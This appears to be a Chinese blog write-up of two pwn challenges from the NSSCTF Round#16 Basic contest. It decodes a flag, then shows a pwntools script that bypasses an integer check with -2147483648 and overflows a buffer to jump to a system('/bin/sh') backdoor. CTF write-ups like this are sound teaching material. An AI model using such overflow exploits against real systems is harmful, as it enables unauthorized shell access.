首页 > 其他分享 >NSSCTF Round#16 Basic WriteUp

NSSCTF Round#16 Basic WriteUp

时间:2024-01-13 21:55:08浏览次数:24  
标签:nc 16 WriteUp image Basic wp 16Basic Round NSSCTF

NSSCTF Round#16Basic wp

目录

一.pwn

1.nc_pwnre

nc连接

屏幕截图 2024-01-13 205948

得到题目,给了一段汇编代码以及40个十六进制数字

分析代码可知,将一个字符串与10h即16进行异或运算,二次异或运算得到字符串

TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

base64解密得到

NSSCTF{WELc0M_T0_pWn_w0r1d!}

又题目nc连接后要求一个输入,输入后

屏幕截图 2024-01-13 154922

要求另一个输入,尝试ls,cat flag成功

屏幕截图 2024-01-13 155059

2.ret_text

拿到题目附件进行常规checksec

![](NSSCTF Round#16Basic wp.assets/image-20240113161745755.png)

没有特别的,32位且开启了NX

IDA发现主体函数,且存在后门函数backdoor执行system("/bin/sh")

![image-20240113161521899](NSSCTF Round#16Basic wp.assets/image-20240113161521899.png)

通过输入-2147483648绕过if判断进入溢出点,然后就是常规ret2text

#exp
from pwn import*
p=remote("node7.anna.nssctf.cn",28276)

backdoor_addr=0x08049328

payload=b'a'*0x24+p32(backdoor_addr)

p.sendline(b'-2147483648')
p.sendline(payload)
p.interactive()

标签:nc,16,WriteUp,image,Basic,wp,16Basic,Round,NSSCTF
From: https://www.cnblogs.com/wyxhhh/p/17963035

相关文章

  • 16.TcpDump 与 WireShark 的使用
    协议分析工具 网络监听:TcpDump+WireShark代理Proxy推荐工具:手工测试charles[全平台]、安全测试burpsuite[全平台java]自动化测试:mitmproxy其他代理:fiddler[仅windows]、AnyProxy[全平台]协议客户端工具:curl、postmantcpdump 参数:-x十六进......
  • 多路io复用Select [补档-2023-07-16]
    select2.1简介​select函数可以用于实现高效的多路复用I/O,同时处理多个文件描述符的事件,包括监听可读、可写和异常条件,具有阻塞和非阻塞模式,并可以设置超时时间。这使得程序能够高效地处理并发任务,提高性能和响应性。2.2select函数​头文件:#include<sys/select>......
  • ARC169
    ARC169前言学校晚饭后不让来机房,时间卡的很死。基本赶不上赛时AtCoder,更不能谈codeforces了。这就导致到现在一场ARC没参加过。于是今天VP了一下,A题很水十分钟碾过去了,B题先想到了一个假贪心,答题思路不变稍微改改改成dp就可以了。C题写的比B还快,比较套路,一眼dp。D......
  • AT_arc167_e 题解
    题意给定\(k\)和一个排列\(P'\),问有多少个排列\(P\)以最少步数交换相邻两个元素来进行收敛,最终的排列可能是\(P'\),一个排列是收敛的当且仅当对于每一个数,在该数前且比这个数大的数的个数不超过\(k\)个。思路考虑正向的让一个排列收敛,我们设在第\(i\)个位置前且比\(P......
  • P7816
    题意有一个由\(n\)个点\(m\)条边组成的无向图,边有边权\(w\in\{1,2\}\),现要求给这\(n\)条边定向,使得对于每个点\(u\)有:连向\(u\)的边的权值和与\(u\)连出的边的权值和之差的绝对值为\(1\)。思路首先可以发现,连进\(u\)一条边再连出\(u\)一条权值相同的边,是可以......
  • Windows Server 2016 & 2019 工作站速配脚本
    之前有一篇关于把WindowsServer打造成工作站系统的随笔,其中的步骤完全基于手工操作,一部分对系统不熟悉的朋友恐怕会找不到设置的入口。与其弄一堆截图写所谓的教程,还不如写一个程序来自动化处理。init.ps1Write-Host"`n正在启用声音服务"Set-Service-Name"Audiosrv"-Stat......
  • 文心一言 VS 讯飞星火 VS chatgpt (168)-- 算法导论13.2 1题
    一、用go语言,写出RIGHT-ROTATE的伪代码。文心一言:在计算机科学中,右旋转(RIGHT-ROTATE)是一种常见的操作,通常用于数组或链表。以下是一个使用Go语言实现右旋转的伪代码:funcrightRotate(arr[]int,kint)[]int{n:=len(arr)k%=n//防止k大于n的情况rev......
  • 《猎场》第16集郑秋冬获奖演讲稿
    在我成长的过程中,有过迷失的时候,有过分不清光荣和耻辱的时候。但是好在最后,我从迷失里走了出来,决心做一个明辨荣辱的人。据我所知,这个证书在地中海银行已经有五十年的历史了。到目前,获奖的人数刚刚过三百。我的编号是302。我知道,它奖励的不是我做出了多少贡献,而是奖励我没有个......
  • 第16周学习进度情况
      第16周所花时间(包括上课时间)7小时(看书编码时间7个小时)代码量(行)300行左右博客量(篇) 2篇了解到的知识点 1.javaEE的编程与修改; 2.准备《封神榜》app的演讲与展示; 3.重新温读了《构建之法》。......
  • 16-迎战流量峰值:Kubernete 怎样控制业务的资源水位?
    通过前面的学习,相信你已经见识到了Kubernetes的强大能力,它能帮你轻松管理大规模的容器服务,尤其是面对复杂的环境时,比如节点异常、容器异常退出等,Kubernetes内部的Service、Deployment会动态地进行调整,比如增加新的副本、关联新的Pod等。当然Kubernetes的这种自动伸缩能......